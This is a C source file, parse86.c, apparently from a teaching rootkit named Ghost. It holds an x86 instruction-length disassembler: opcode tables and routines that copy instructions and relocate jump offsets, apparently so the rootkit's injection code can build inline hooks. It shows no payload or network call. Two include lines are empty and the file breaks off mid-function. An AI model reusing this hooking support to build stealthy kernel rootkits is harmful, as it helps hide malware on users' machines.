www.pudn.com > ROOTKIT_Ghost.rar > parse86.c


// parse86 
// Copyright Ric Vieler, 2006 
// disassembler for getx86Instruction 
 
#if _WIN32_WINNT >= 0x0500 
#	define NDIS50				1 
#else 
#	define NDIS40				1 
#endif 
#define BINARY_COMPATIBLE		0 
 
#ifdef __cplusplus 
extern "C" { 
#endif 
 
#include  
#include  
#include "ghost.h" 
#include "injectManager.h" 
 
 
#ifdef __cplusplus 
} 
#endif 
 
#include "parse86.h" 
 
#pragma code_seg("PAGE") 
#pragma optimize( "", off ) 
// for X86INSTRUCTION struct 
#pragma pack(1) 
 
typedef struct _X86_16BIT_INSTRUCTION 
{ 
	BOOL operandIs16; 
	BOOL addressIs16; 
	PBYTE* jumpAddress; 
	LONG* extra; 
 
} X86_16BIT_INSTRUCTION; 
 
// forward declaration for XFER_FUNCTION 
struct _X86INSTRUCTION; 
typedef struct _X86INSTRUCTION* PX86INSTRUCTION; 
 
typedef PBYTE (*XFER_FUNCTION)(X86_16BIT_INSTRUCTION* op16Ptr, PX86INSTRUCTION opPtr, PBYTE destination, PBYTE source); 
 
typedef struct _X86INSTRUCTION 
{ 
	ULONG 			opcode 		: 8; 
	ULONG			size 		: 3; 
	ULONG			size16		: 3; 
	ULONG			modeOffset	: 3; 
	LONG			relOffset 	: 3; 
	ULONG			flagMask	: 4; 
	XFER_FUNCTION	pXferFunction; 
 
} X86INSTRUCTION; 
 
// flags for flagMask 
enum 
{ 
	DYNAMIC_FLAG 	= 0x1u, 
	ADDRESS_FLAG 	= 0x2u, 
	NOENLARGE_FLAG	= 0x4u, 
	SIB_FLAG		= 0x10u, 
	NOTSIB_FLAG		= 0x0fu, 
}; 
 
#pragma pack() 
 
BYTE regMemMode[256] = 
{ 
	0,0,0,0,0x11,4,0,0,0,0,0,0,0x11,4,0,0,	// 00 - 0f 
	0,0,0,0,0x11,4,0,0,0,0,0,0,0x11,4,0,0,	// 10 - 1f 
	0,0,0,0,0x11,4,0,0,0,0,0,0,0x11,4,0,0,	// 20 - 2f 
	0,0,0,0,0x11,4,0,0,0,0,0,0,0x11,4,0,0,	// 30 - 3f 
	1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,		// 40 - 4f 
	1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,		// 50 - 5f 
	1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,		// 60 - 6f 
	1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,		// 70 - 7f 
	4,4,4,4,5,4,4,4,4,4,4,4,5,4,4,4,		// 80 - 8f 
	4,4,4,4,5,4,4,4,4,4,4,4,5,4,4,4,		// 90 - 9f 
	4,4,4,4,5,4,4,4,4,4,4,4,5,4,4,4,		// a0 - af 
	4,4,4,4,5,4,4,4,4,4,4,4,5,4,4,4,		// b0 - bf 
	0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,		// c0 - cf 
	0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,		// d0 - df 
	0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,		// e0 - ef 
	0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0			// f0 - ff 
}; 
 
// prototypes for X86INSTRUCTION 
PBYTE transferData( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ); 
PBYTE transferDataPrefix( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ); 
PBYTE adjustData( X86_16BIT_INSTRUCTION* op16Ptr, PBYTE destination, PBYTE source, LONG bytes, LONG targetOffset ); 
PBYTE noTransferOp( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ); 
PBYTE transferOp0F( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ); 
PBYTE transferOp66( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ); 
PBYTE transferOp67( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ); 
PBYTE transferOpF6( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ); 
PBYTE transferOpF7( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ); 
PBYTE transferOpFF( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ); 
 
// follows opcode in X86INSTRUCTION 
#define transfer1			1, 1, 0, 0, 0, transferData 
#define transfer1Dynamic	1, 1, 0, 0, DYNAMIC_FLAG, transferData 
#define transfer2			2, 2, 0, 0, 0, transferData 
#define transfer2Jump		2, 2, 0, 1, 0, transferData 
#define transfer2NoJump		2, 2, 0, 1, NOENLARGE_FLAG, transferData 
#define transfer2Dynamic	2, 2, 0, 0, DYNAMIC_FLAG, transferData 
#define transfer3			3, 3, 0, 0, 0, transferData 
#define transfer3Dynamic	3, 3, 0, 0, DYNAMIC_FLAG, transferData 
#define transfer3Or5		5, 3, 0, 0, 0, transferData 
#define transfer3Or5Target	5, 3, 0, 1, 0, transferData 
#define transfer5Or7Dynamic	7, 5, 0, 0, DYNAMIC_FLAG, transferData 
#define transfer3Or5Address	5, 3, 0, 0, ADDRESS_FLAG, transferData 
#define transfer4			4, 4, 0, 0, 0, transferData 
#define transfer5			5, 5, 0, 0, 0, transferData 
#define transfer7			7, 7, 0, 0, 0, transferData 
#define transfer2Mod		2, 2, 1, 0, 0, transferData 
#define transfer2Mod1		3, 3, 1, 0, 0, transferData 
#define transfer2ModOperand	6, 4, 1, 0, 0, transferData 
#define transfer3Mod		3, 3, 2, 0, 0, transferData 
#define transferPrefix		1, 1, 0, 0, 0, transferDataPrefix 
#define transfer0F			1, 1, 0, 0, 0, transferOp0F 
#define transfer66			1, 1, 0, 0, 0, transferOp66 
#define transfer67			1, 1, 0, 0, 0, transferOp67 
#define transferF6			0, 0, 0, 0, 0, transferOpF6 
#define transferF7			0, 0, 0, 0, 0, transferOpF7 
#define transferFF			0, 0, 0, 0, 0, transferOpFF 
#define noTransfer			1, 1, 0, 0, 0, noTransferOp 
#define lastEntry			0, 0, 0, 0, 0, NULL 
 
// intel op codes and disassembly parameters 
X86INSTRUCTION instructionMap[257] = 
{  
	{ 0x00, transfer2Mod }, 
	{ 0x01, transfer2Mod }, 
	{ 0x02, transfer2Mod }, 
	{ 0x03, transfer2Mod }, 
	{ 0x04, transfer2 }, 
	{ 0x05, transfer3Or5 }, 
	{ 0x06, transfer1 }, 
	{ 0x07, transfer1 }, 
	{ 0x08, transfer2Mod }, 
	{ 0x09, transfer2Mod }, 
	{ 0x0A, transfer2Mod }, 
	{ 0x0B, transfer2Mod }, 
	{ 0x0C, transfer2 }, 
	{ 0x0D, transfer3Or5 }, 
	{ 0x0E, transfer1 }, 
	{ 0x0F, transfer0F }, 
	{ 0x10, transfer2Mod }, 
	{ 0x11, transfer2Mod }, 
	{ 0x12, transfer2Mod }, 
	{ 0x13, transfer2Mod }, 
	{ 0x14, transfer2 }, 
	{ 0x15, transfer3Or5 }, 
	{ 0x16, transfer1 }, 
	{ 0x17, transfer1 }, 
	{ 0x18, transfer2Mod }, 
	{ 0x19, transfer2Mod }, 
	{ 0x1A, transfer2Mod }, 
	{ 0x1B, transfer2Mod }, 
	{ 0x1C, transfer2 }, 
	{ 0x1D, transfer3Or5 }, 
	{ 0x1E, transfer1 }, 
	{ 0x1F, transfer1 }, 
	{ 0x20, transfer2Mod }, 
	{ 0x21, transfer2Mod }, 
	{ 0x22, transfer2Mod }, 
	{ 0x23, transfer2Mod }, 
	{ 0x24, transfer2 }, 
	{ 0x25, transfer3Or5 }, 
	{ 0x26, transferPrefix }, 
	{ 0x27, transfer1 }, 
	{ 0x28, transfer2Mod }, 
	{ 0x29, transfer2Mod }, 
	{ 0x2A, transfer2Mod }, 
	{ 0x2B, transfer2Mod }, 
	{ 0x2C, transfer2 }, 
	{ 0x2D, transfer3Or5 }, 
	{ 0x2E, transferPrefix }, 
	{ 0x2F, transfer1 }, 
	{ 0x30, transfer2Mod }, 
	{ 0x31, transfer2Mod }, 
	{ 0x32, transfer2Mod }, 
	{ 0x33, transfer2Mod }, 
	{ 0x34, transfer2 }, 
	{ 0x35, transfer3Or5 }, 
	{ 0x36, transferPrefix }, 
	{ 0x37, transfer1 }, 
	{ 0x38, transfer2Mod }, 
	{ 0x39, transfer2Mod }, 
	{ 0x3A, transfer2Mod }, 
	{ 0x3B, transfer2Mod }, 
	{ 0x3C, transfer2 }, 
	{ 0x3D, transfer3Or5 }, 
	{ 0x3E, transferPrefix }, 
	{ 0x3F, transfer1 }, 
	{ 0x40, transfer1 }, 
	{ 0x41, transfer1 }, 
	{ 0x42, transfer1 }, 
	{ 0x43, transfer1 }, 
	{ 0x44, transfer1 }, 
	{ 0x45, transfer1 }, 
	{ 0x46, transfer1 }, 
	{ 0x47, transfer1 }, 
	{ 0x48, transfer1 }, 
	{ 0x49, transfer1 }, 
	{ 0x4A, transfer1 }, 
	{ 0x4B, transfer1 }, 
	{ 0x4C, transfer1 }, 
	{ 0x4D, transfer1 }, 
	{ 0x4E, transfer1 }, 
	{ 0x4F, transfer1 }, 
	{ 0x50, transfer1 }, 
	{ 0x51, transfer1 }, 
	{ 0x52, transfer1 }, 
	{ 0x53, transfer1 }, 
	{ 0x54, transfer1 }, 
	{ 0x55, transfer1 }, 
	{ 0x56, transfer1 }, 
	{ 0x57, transfer1 }, 
	{ 0x58, transfer1 }, 
	{ 0x59, transfer1 }, 
	{ 0x5A, transfer1 }, 
	{ 0x5B, transfer1 }, 
	{ 0x5C, transfer1 }, 
	{ 0x5D, transfer1 }, 
	{ 0x5E, transfer1 }, 
	{ 0x5F, transfer1 }, 
	{ 0x60, transfer1 }, 
	{ 0x61, transfer1 }, 
	{ 0x62, transfer2Mod }, 
	{ 0x63, transfer2Mod }, 
	{ 0x64, transferPrefix }, 
	{ 0x65, transferPrefix }, 
	{ 0x66, transfer66 }, 
	{ 0x67, transfer67 }, 
	{ 0x68, transfer3Or5 }, 
	{ 0x69, transfer2ModOperand }, 
	{ 0x6A, transfer2 }, 
	{ 0x6B, transfer2Mod1 }, 
	{ 0x6C, transfer1 }, 
	{ 0x6D, transfer1 }, 
	{ 0x6E, transfer1 }, 
	{ 0x6F, transfer1 }, 
	{ 0x70, transfer2Jump }, 
	{ 0x71, transfer2Jump }, 
	{ 0x72, transfer2Jump }, 
	{ 0x73, transfer2Jump }, 
	{ 0x74, transfer2Jump }, 
	{ 0x75, transfer2Jump }, 
	{ 0x76, transfer2Jump }, 
	{ 0x77, transfer2Jump }, 
	{ 0x78, transfer2Jump }, 
	{ 0x79, transfer2Jump }, 
	{ 0x7A, transfer2Jump }, 
	{ 0x7B, transfer2Jump }, 
	{ 0x7C, transfer2Jump }, 
	{ 0x7D, transfer2Jump }, 
	{ 0x7E, transfer2Jump }, 
	{ 0x7F, transfer2Jump }, 
	{ 0x80, transfer2Mod1 }, 
	{ 0x81, transfer2ModOperand }, 
	{ 0x82, transfer2 }, 
	{ 0x83, transfer2Mod1 }, 
	{ 0x84, transfer2Mod }, 
	{ 0x85, transfer2Mod }, 
	{ 0x86, transfer2Mod }, 
	{ 0x87, transfer2Mod }, 
	{ 0x88, transfer2Mod }, 
	{ 0x89, transfer2Mod }, 
	{ 0x8A, transfer2Mod }, 
	{ 0x8B, transfer2Mod }, 
	{ 0x8C, transfer2Mod }, 
	{ 0x8D, transfer2Mod }, 
	{ 0x8E, transfer2Mod }, 
	{ 0x8F, transfer2Mod }, 
	{ 0x90, transfer1 }, 
	{ 0x91, transfer1 }, 
	{ 0x92, transfer1 }, 
	{ 0x93, transfer1 }, 
	{ 0x94, transfer1 }, 
	{ 0x95, transfer1 }, 
	{ 0x96, transfer1 }, 
	{ 0x97, transfer1 }, 
	{ 0x98, transfer1 }, 
	{ 0x99, transfer1 }, 
	{ 0x9A, transfer5Or7Dynamic }, 
	{ 0x9B, transfer1 }, 
	{ 0x9C, transfer1 }, 
	{ 0x9D, transfer1 }, 
	{ 0x9E, transfer1 }, 
	{ 0x9F, transfer1 }, 
	{ 0xA0, transfer3Or5Address }, 
	{ 0xA1, transfer3Or5Address }, 
	{ 0xA2, transfer3Or5Address }, 
	{ 0xA3, transfer3Or5Address }, 
	{ 0xA4, transfer1 }, 
	{ 0xA5, transfer1 }, 
	{ 0xA6, transfer1 }, 
	{ 0xA7, transfer1 }, 
	{ 0xA8, transfer2 }, 
	{ 0xA9, transfer3Or5 }, 
	{ 0xAA, transfer1 }, 
	{ 0xAB, transfer1 }, 
	{ 0xAC, transfer1 }, 
	{ 0xAD, transfer1 }, 
	{ 0xAE, transfer1 }, 
	{ 0xAF, transfer1 }, 
	{ 0xB0, transfer2 }, 
	{ 0xB1, transfer2 }, 
	{ 0xB2, transfer2 }, 
	{ 0xB3, transfer2 }, 
	{ 0xB4, transfer2 }, 
	{ 0xB5, transfer2 }, 
	{ 0xB6, transfer2 }, 
	{ 0xB7, transfer2 }, 
	{ 0xB8, transfer3Or5 }, 
	{ 0xB9, transfer3Or5 }, 
	{ 0xBA, transfer3Or5 }, 
	{ 0xBB, transfer3Or5 }, 
	{ 0xBC, transfer3Or5 }, 
	{ 0xBD, transfer3Or5 }, 
	{ 0xBE, transfer3Or5 }, 
	{ 0xBF, transfer3Or5 }, 
	{ 0xC0, transfer2Mod1 }, 
	{ 0xC1, transfer2Mod1 }, 
	{ 0xC2, transfer3 }, 
	{ 0xC3, transfer1 }, 
	{ 0xC4, transfer2Mod }, 
	{ 0xC5, transfer2Mod }, 
	{ 0xC6, transfer2Mod1 }, 
	{ 0xC7, transfer2ModOperand }, 
	{ 0xC8, transfer4 }, 
	{ 0xC9, transfer1 }, 
	{ 0xCA, transfer3Dynamic }, 
	{ 0xCB, transfer1Dynamic }, 
	{ 0xCC, transfer1Dynamic }, 
	{ 0xCD, transfer2Dynamic }, 
	{ 0xCE, transfer1Dynamic }, 
	{ 0xCF, transfer1Dynamic }, 
	{ 0xD0, transfer2Mod }, 
	{ 0xD1, transfer2Mod }, 
	{ 0xD2, transfer2Mod }, 
	{ 0xD3, transfer2Mod }, 
	{ 0xD4, transfer2 }, 
	{ 0xD5, transfer2 }, 
	{ 0xD6, noTransfer }, 
	{ 0xD7, transfer1 }, 
	{ 0xD8, transfer2Mod }, 
	{ 0xD9, transfer2Mod }, 
	{ 0xDA, transfer2Mod }, 
	{ 0xDB, transfer2Mod }, 
	{ 0xDC, transfer2Mod }, 
	{ 0xDD, transfer2Mod }, 
	{ 0xDE, transfer2Mod }, 
	{ 0xDF, transfer2Mod }, 
	{ 0xE0, transfer2NoJump }, 
	{ 0xE1, transfer2NoJump }, 
	{ 0xE2, transfer2NoJump }, 
	{ 0xE3, transfer2Jump }, 
	{ 0xE4, transfer2 }, 
	{ 0xE5, transfer2 }, 
	{ 0xE6, transfer2 }, 
	{ 0xE7, transfer2 }, 
	{ 0xE8, transfer3Or5Target }, 
	{ 0xE9, transfer3Or5Target }, 
	{ 0xEA, transfer5Or7Dynamic }, 
	{ 0xEB, transfer2Jump }, 
	{ 0xEC, transfer1 }, 
	{ 0xED, transfer1 }, 
	{ 0xEE, transfer1 }, 
	{ 0xEF, transfer1 }, 
	{ 0xF0, transferPrefix }, 
	{ 0xF1, noTransfer }, 
	{ 0xF2, transferPrefix }, 
	{ 0xF3, transferPrefix }, 
	{ 0xF4, transfer1 }, 
	{ 0xF5, transfer1 }, 
	{ 0xF6, transferF6 }, 
	{ 0xF7, transferF7 }, 
	{ 0xF8, transfer1 }, 
	{ 0xF9, transfer1 }, 
	{ 0xFA, transfer1 }, 
	{ 0xFB, transfer1 }, 
	{ 0xFC, transfer1 }, 
	{ 0xFD, transfer1 }, 
	{ 0xFE, transfer2Mod }, 
	{ 0xFF, transferFF }, 
	{ 0x00, lastEntry } 
}; 
 
// intel extended op codes and disassembly parameters 
X86INSTRUCTION extendedInstructionMap[257] = 
{ 
	{ 0x00, transfer2Mod }, 
	{ 0x01, transfer2Mod }, 
	{ 0x02, transfer2Mod }, 
	{ 0x03, transfer2Mod }, 
	{ 0x04, noTransfer }, 
	{ 0x05, noTransfer }, 
	{ 0x06, transfer2 }, 
	{ 0x07, noTransfer }, 
	{ 0x08, transfer2 }, 
	{ 0x09, transfer2 }, 
	{ 0x0A, noTransfer }, 
	{ 0x0B, transfer2 }, 
	{ 0x0C, noTransfer }, 
	{ 0x0D, noTransfer }, 
	{ 0x0E, noTransfer }, 
	{ 0x0F, noTransfer }, 
	{ 0x10, noTransfer }, 
	{ 0x11, noTransfer }, 
	{ 0x12, noTransfer }, 
	{ 0x13, noTransfer }, 
	{ 0x14, noTransfer }, 
	{ 0x15, noTransfer }, 
	{ 0x16, noTransfer }, 
	{ 0x17, noTransfer }, 
	{ 0x18, noTransfer }, 
	{ 0x19, noTransfer }, 
	{ 0x1A, noTransfer }, 
	{ 0x1B, noTransfer }, 
	{ 0x1C, noTransfer }, 
	{ 0x1D, noTransfer }, 
	{ 0x1E, noTransfer }, 
	{ 0x1F, noTransfer }, 
	{ 0x20, transfer2Mod }, 
	{ 0x21, transfer2Mod }, 
	{ 0x22, transfer2Mod }, 
	{ 0x23, transfer2Mod }, 
	{ 0x24, noTransfer }, 
	{ 0x25, noTransfer }, 
	{ 0x26, noTransfer }, 
	{ 0x27, noTransfer }, 
	{ 0x28, noTransfer }, 
	{ 0x29, noTransfer }, 
	{ 0x2A, noTransfer }, 
	{ 0x2B, noTransfer }, 
	{ 0x2C, noTransfer }, 
	{ 0x2D, noTransfer }, 
	{ 0x2E, noTransfer }, 
	{ 0x2F, noTransfer }, 
	{ 0x30, transfer2 }, 
	{ 0x31, transfer2 }, 
	{ 0x32, transfer2 }, 
	{ 0x33, transfer2 }, 
	{ 0x34, transfer2 }, 
	{ 0x35, transfer2 }, 
	{ 0x36, noTransfer }, 
	{ 0x37, noTransfer }, 
	{ 0x38, noTransfer }, 
	{ 0x39, noTransfer }, 
	{ 0x3A, noTransfer }, 
	{ 0x3B, noTransfer }, 
	{ 0x3C, noTransfer }, 
	{ 0x3D, noTransfer }, 
	{ 0x3E, noTransfer }, 
	{ 0x3F, noTransfer }, 
	{ 0x40, transfer2Mod }, 
	{ 0x41, transfer2Mod }, 
	{ 0x42, transfer2Mod }, 
	{ 0x43, transfer2Mod }, 
	{ 0x44, transfer2Mod }, 
	{ 0x45, transfer2Mod }, 
	{ 0x46, transfer2Mod }, 
	{ 0x47, transfer2Mod }, 
	{ 0x48, transfer2Mod }, 
	{ 0x49, transfer2Mod }, 
	{ 0x4A, transfer2Mod }, 
	{ 0x4B, transfer2Mod }, 
	{ 0x4C, transfer2Mod }, 
	{ 0x4D, transfer2Mod }, 
	{ 0x4E, transfer2Mod }, 
	{ 0x4F, transfer2Mod }, 
	{ 0x50, noTransfer }, 
	{ 0x51, noTransfer }, 
	{ 0x52, noTransfer }, 
	{ 0x53, noTransfer }, 
	{ 0x54, noTransfer }, 
	{ 0x55, noTransfer }, 
	{ 0x56, noTransfer }, 
	{ 0x57, noTransfer }, 
	{ 0x58, noTransfer }, 
	{ 0x59, noTransfer }, 
	{ 0x5A, noTransfer }, 
	{ 0x5B, noTransfer }, 
	{ 0x5C, noTransfer }, 
	{ 0x5D, noTransfer }, 
	{ 0x5E, noTransfer }, 
	{ 0x5F, noTransfer }, 
	{ 0x60, transfer2Mod }, 
	{ 0x61, noTransfer }, 
	{ 0x62, transfer2Mod }, 
	{ 0x63, transfer2Mod }, 
	{ 0x64, transfer2Mod }, 
	{ 0x65, transfer2Mod }, 
	{ 0x66, transfer2Mod }, 
	{ 0x67, transfer2Mod }, 
	{ 0x68, transfer2Mod }, 
	{ 0x69, transfer2Mod }, 
	{ 0x6A, transfer2Mod }, 
	{ 0x6B, transfer2Mod }, 
	{ 0x6C, noTransfer }, 
	{ 0x6D, noTransfer }, 
	{ 0x6E, transfer2Mod }, 
	{ 0x6F, transfer2Mod }, 
	{ 0x70, noTransfer }, 
	{ 0x71, transfer2Mod1 }, 
	{ 0x72, transfer2Mod1 }, 
	{ 0x73, transfer2Mod1 }, 
	{ 0x74, transfer2Mod }, 
	{ 0x75, transfer2Mod }, 
	{ 0x76, transfer2Mod }, 
	{ 0x77, transfer2 }, 
	{ 0x78, noTransfer }, 
	{ 0x79, noTransfer }, 
	{ 0x7A, noTransfer }, 
	{ 0x7B, noTransfer }, 
	{ 0x7C, noTransfer }, 
	{ 0x7D, noTransfer }, 
	{ 0x7E, transfer2Mod }, 
	{ 0x7F, transfer2Mod }, 
	{ 0x80, transfer3Or5Target }, 
	{ 0x81, transfer3Or5Target }, 
	{ 0x82, transfer3Or5Target }, 
	{ 0x83, transfer3Or5Target }, 
	{ 0x84, transfer3Or5Target }, 
	{ 0x85, transfer3Or5Target }, 
	{ 0x86, transfer3Or5Target }, 
	{ 0x87, transfer3Or5Target }, 
	{ 0x88, transfer3Or5Target }, 
	{ 0x89, transfer3Or5Target }, 
	{ 0x8A, transfer3Or5Target }, 
	{ 0x8B, transfer3Or5Target }, 
	{ 0x8C, transfer3Or5Target }, 
	{ 0x8D, transfer3Or5Target }, 
	{ 0x8E, transfer3Or5Target }, 
	{ 0x8F, transfer3Or5Target }, 
	{ 0x90, transfer2Mod }, 
	{ 0x91, transfer2Mod }, 
	{ 0x92, transfer2Mod }, 
	{ 0x93, transfer2Mod }, 
	{ 0x94, transfer2Mod }, 
	{ 0x95, transfer2Mod }, 
	{ 0x96, transfer2Mod }, 
	{ 0x97, transfer2Mod }, 
	{ 0x98, transfer2Mod }, 
	{ 0x99, transfer2Mod }, 
	{ 0x9A, transfer2Mod }, 
	{ 0x9B, transfer2Mod }, 
	{ 0x9C, transfer2Mod }, 
	{ 0x9D, transfer2Mod }, 
	{ 0x9E, transfer2Mod }, 
	{ 0x9F, transfer2Mod }, 
	{ 0xA0, transfer2 }, 
	{ 0xA1, transfer2 }, 
	{ 0xA2, transfer2 }, 
	{ 0xA3, transfer2Mod }, 
	{ 0xA4, transfer2Mod1 }, 
	{ 0xA5, transfer2Mod }, 
	{ 0xA6, noTransfer }, 
	{ 0xA7, noTransfer }, 
	{ 0xA8, transfer2 }, 
	{ 0xA9, transfer2 }, 
	{ 0xAA, transfer2 }, 
	{ 0xAB, transfer2Mod }, 
	{ 0xAC, transfer2Mod1 }, 
	{ 0xAD, transfer2Mod }, 
	{ 0xAE, transfer2Mod }, 
	{ 0xAF, transfer2Mod }, 
	{ 0xB0, transfer2Mod }, 
	{ 0xB1, transfer2Mod }, 
	{ 0xB2, transfer2Mod }, 
	{ 0xB3, transfer2Mod }, 
	{ 0xB4, transfer2Mod }, 
	{ 0xB5, transfer2Mod }, 
	{ 0xB6, transfer2Mod }, 
	{ 0xB7, transfer2Mod }, 
	{ 0xB8, noTransfer }, 
	{ 0xB9, noTransfer }, 
	{ 0xBA, transfer2Mod1 }, 
	{ 0xBB, transfer2Mod }, 
	{ 0xBC, transfer2Mod }, 
	{ 0xBD, transfer2Mod }, 
	{ 0xBE, transfer2Mod }, 
	{ 0xBF, transfer2Mod }, 
	{ 0xC0, transfer2Mod }, 
	{ 0xC1, transfer2Mod }, 
	{ 0xC2, noTransfer }, 
	{ 0xC3, noTransfer }, 
	{ 0xC4, noTransfer }, 
	{ 0xC5, noTransfer }, 
	{ 0xC6, noTransfer }, 
	{ 0xC7, transfer2Mod }, 
	{ 0xC8, transfer2 }, 
	{ 0xC9, transfer2 }, 
	{ 0xCA, transfer2 }, 
	{ 0xCB, transfer2 }, 
	{ 0xCC, transfer2 }, 
	{ 0xCD, transfer2 }, 
	{ 0xCE, transfer2 }, 
	{ 0xCF, transfer2 }, 
	{ 0xD0, noTransfer }, 
	{ 0xD1, transfer2Mod }, 
	{ 0xD2, transfer2Mod }, 
	{ 0xD3, transfer2Mod }, 
	{ 0xD4, noTransfer }, 
	{ 0xD5, transfer2Mod }, 
	{ 0xD6, noTransfer }, 
	{ 0xD7, noTransfer }, 
	{ 0xD8, transfer2Mod }, 
	{ 0xD9, transfer2Mod }, 
	{ 0xDA, noTransfer }, 
	{ 0xDB, transfer2Mod }, 
	{ 0xDC, transfer2Mod }, 
	{ 0xDD, transfer2Mod }, 
	{ 0xDE, noTransfer }, 
	{ 0xDF, transfer2Mod }, 
	{ 0xE0, noTransfer }, 
	{ 0xE1, transfer2Mod }, 
	{ 0xE2, transfer2Mod }, 
	{ 0xE3, noTransfer }, 
	{ 0xE4, noTransfer }, 
	{ 0xE5, transfer2Mod }, 
	{ 0xE6, noTransfer }, 
	{ 0xE7, noTransfer }, 
	{ 0xE8, transfer2Mod }, 
	{ 0xE9, transfer2Mod }, 
	{ 0xEA, noTransfer }, 
	{ 0xEB, transfer2Mod }, 
	{ 0xEC, transfer2Mod }, 
	{ 0xED, transfer2Mod }, 
	{ 0xEE, noTransfer }, 
	{ 0xEF, transfer2Mod }, 
	{ 0xF0, noTransfer }, 
	{ 0xF1, transfer2Mod }, 
	{ 0xF2, transfer2Mod }, 
	{ 0xF3, transfer2Mod }, 
	{ 0xF4, noTransfer }, 
	{ 0xF5, transfer2Mod }, 
	{ 0xF6, noTransfer }, 
	{ 0xF7, noTransfer }, 
	{ 0xF8, transfer2Mod }, 
	{ 0xF9, transfer2Mod }, 
	{ 0xFA, transfer2Mod }, 
	{ 0xFB, noTransfer }, 
	{ 0xFC, transfer2Mod }, 
	{ 0xFD, transfer2Mod }, 
	{ 0xFE, transfer2Mod }, 
	{ 0xFF, noTransfer }, 
	{ 0x00, lastEntry } 
}; 
 
PBYTE transferInstruction( PBYTE destination, PBYTE source, PBYTE* jumpAddress, LONG* extra ) 
{ 
	X86_16BIT_INSTRUCTION op16 = { 0 }; 
	X86INSTRUCTION* opPtr = { 0 }; 
 
	*jumpAddress = TARGETLESS_X86INSTRUCTION; 
	*extra = 0; 
 
	op16.operandIs16 = 0; 
	op16.addressIs16 = 0; 
	op16.jumpAddress = jumpAddress; 
	op16.extra = extra; 
 
	opPtr = &instructionMap[source[0]]; 
	return opPtr->pXferFunction( &op16, opPtr, destination, source ); 
} 
 
PBYTE transferData( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ) 
{ 
	LONG bytes = 0; 
	LONG fixedBytes = (opPtr->flagMask & ADDRESS_FLAG) 
		? (op16Ptr->addressIs16 ? opPtr->size16 : opPtr->size) 
		: (op16Ptr->operandIs16 ? opPtr->size16 : opPtr->size); 
	bytes = fixedBytes; 
	if( opPtr->modeOffset > 0 ) 
	{ 
		BYTE rmMode = source[opPtr->modeOffset]; 
		BYTE flags = regMemMode[rmMode]; 
		 
		if( flags & SIB_FLAG ) 
		{ 
			if( ( source[opPtr->modeOffset + 1] & 0x07 ) == 0x05 ) 
			{ 
				if( ( rmMode & 0xc0 ) == 0x00 ) 
					bytes += 4; 
				else if( ( rmMode & 0xc0 ) == 0x40 ) 
					bytes += 1; 
				else if( ( rmMode & 0xc0 ) == 0x80 ) 
					bytes += 4; 
			} 
		} 
		bytes += flags & NOTSIB_FLAG; 
	} 
	memcpy( destination, source, bytes ); 
 
	if( opPtr->relOffset ) 
		*op16Ptr->jumpAddress = adjustData( op16Ptr, destination, source, fixedBytes, opPtr->relOffset ); 
	if( opPtr->flagMask & NOENLARGE_FLAG ) 
		*op16Ptr->extra = -*op16Ptr->extra; 
	if( opPtr->flagMask & DYNAMIC_FLAG ) 
		*op16Ptr->jumpAddress = DYNAMIC_X86INSTRUCTION; 
	return source + bytes; 
} 
 
PBYTE transferDataPrefix( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ) 
{ 
	transferData( op16Ptr, opPtr, destination, source ); 
	 
	opPtr = &instructionMap[source[1]]; 
	return opPtr->pXferFunction(op16Ptr, opPtr, destination + 1, source + 1); 
} 
 
PBYTE adjustData( X86_16BIT_INSTRUCTION* op16Ptr, PBYTE destination, PBYTE source, LONG bytes, LONG targetOffset ) 
{ 
	LONG oldOffset = 0; 
	LONG newOffset = 0; 
	PBYTE target; 
	LONG targetSize = bytes - targetOffset; 
	PVOID targetAddr = &destination[targetOffset]; 
	 
	switch( targetSize ) 
	{ 
	  case 1: 
		oldOffset = (LONG)*((PCHAR)targetAddr); 
		*op16Ptr->extra = 3; 
		break; 
	  case 2: 
		oldOffset = (LONG)*((PSHORT)targetAddr); 
		*op16Ptr->extra = 2; 
		break; 
	  case 4: 
		oldOffset = (LONG)*((PLONG)targetAddr); 
		*op16Ptr->extra = 0; 
		break; 
	} 
	 
	target = source + bytes + oldOffset; 
	newOffset = oldOffset - (destination - source); 
	 
	switch( targetSize ) 
	{ 
	  case 1: 
		*((PCHAR)targetAddr) = (CHAR)newOffset; 
		break; 
	  case 2: 
		*((PSHORT)targetAddr) = (SHORT)newOffset; 
		break; 
	  case 4: 
		*((PLONG)targetAddr) = (LONG)newOffset; 
		break; 
	} 
	ASSERT( destination + bytes + newOffset == target ); 
	return target; 
} 
 
PBYTE noTransferOp( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ) 
{ 
	return source + 1; 
	UNREFERENCED_PARAMETER( destination ); 
	UNREFERENCED_PARAMETER( opPtr ); 
	UNREFERENCED_PARAMETER( op16Ptr ); 
} 
 
PBYTE transferOp0F( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ) 
{ 
	transferData( op16Ptr, opPtr, destination, source );	 
